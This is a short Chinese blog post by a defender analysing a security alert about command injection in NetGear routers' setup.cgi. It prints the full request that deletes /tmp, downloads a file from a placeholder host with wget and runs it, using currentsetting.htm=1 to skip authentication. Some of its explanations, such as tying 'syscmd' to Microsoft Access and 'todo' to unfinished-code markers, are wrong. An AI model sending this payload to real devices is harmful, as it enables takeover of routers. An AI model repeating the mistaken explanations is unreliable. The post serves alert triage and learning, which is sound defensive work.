一切,都是最好的安排。
可以选择接受,或者笑着接受。

我见我思之hvv偷师学艺——命令注入linux_command_inject

常见告警信息价值提取:

源IP

大概率为代理IP,可通过情报平台进行识别此IP的历史攻击行为。

源端口

参考意义不大。

目的IP

我方资产IP(可定位疑似漏洞的具体资产范围)。

目的端口

我方资产IP对应端口(可辅助确认端口所在资产范围)。

响应码

辅助确认漏洞是否成功(200代表疑似漏洞利用成功。4XX/5XX一般都是利用失败)。

载荷:

Get /setup.cgi?next_file=netgear.cgr&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://x.x.x.x:x/example+-o+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP /1.0

请求体:

Get /setup.cgi?next_file=netgear.cgr&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://x.x.x.x:x/example+-o+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP /1.0


漏洞解析:

漏洞名称:

NetGear 路由器任意执行漏洞(通过搜索此漏洞的主要程序文件setup.cgi发现)

漏洞利用原理:

部分内容参考自:
https://blog.csdn.net/li371518473/article/details/128527613 https://blog.csdn.net/weixin_35509395/article/details/119636901

Poc整体参考示例:
/setup.cgi?next_file=netgear.cgr&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://x.x.x.x:x/example+-o+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP /1.0

首先,通过 GET 方法触发 “setup.cgi” 文件。

“setup.cgi” 文件一般作为安装工具使用,可以通过编辑此文件进行安装对应系统。

然后,通过 todo 命令执行 syscmd,

todo是一个特殊的标记,用于标识需要实现但目前还未实现的功能.

最后,通过 syscmd 来执行下载和执行病毒的命令。

使⽤SysCmd⽅法可以:在状态栏中显⽰进度表或可选的指定⽂本,返回有关 Microsoft Access 及其关联⽂件的信息,或返回指定数据库对象的状态

“cmd=rm+-rf+/tmp/*”

表示删除/tmp文件夹下所有内容。

“wget+http://x.x.x.x:x/example+-o+/tmp/netgear”

表示:下载网址“http://x.x.x.x:x/” 下example夹内的内容 至 特定的文件夹 “/tmp/netgear” 下。

sh+netgear

通过 “sh” 脚本命令执行 "netgear"文件(已下载exp)

curpath=/

切换当前脚本路径为根目录/

currentsetting.htm=1

currentsetting.htm字段会触发一个判定标志,这个标志=1会直接使判定通过。作用结果:绕过访问验证机制。

总结与收获:

调用系统本身程序文件(漏洞利用点)+设定漏洞下载位置+下载exp+执行exp+绕过目标系统访问鉴权(exp安全落地)。

万般皆自度,半点不由人。

posted on 2024-05-27 02:32  大道至理  阅读(58)  评论(1编辑  收藏  举报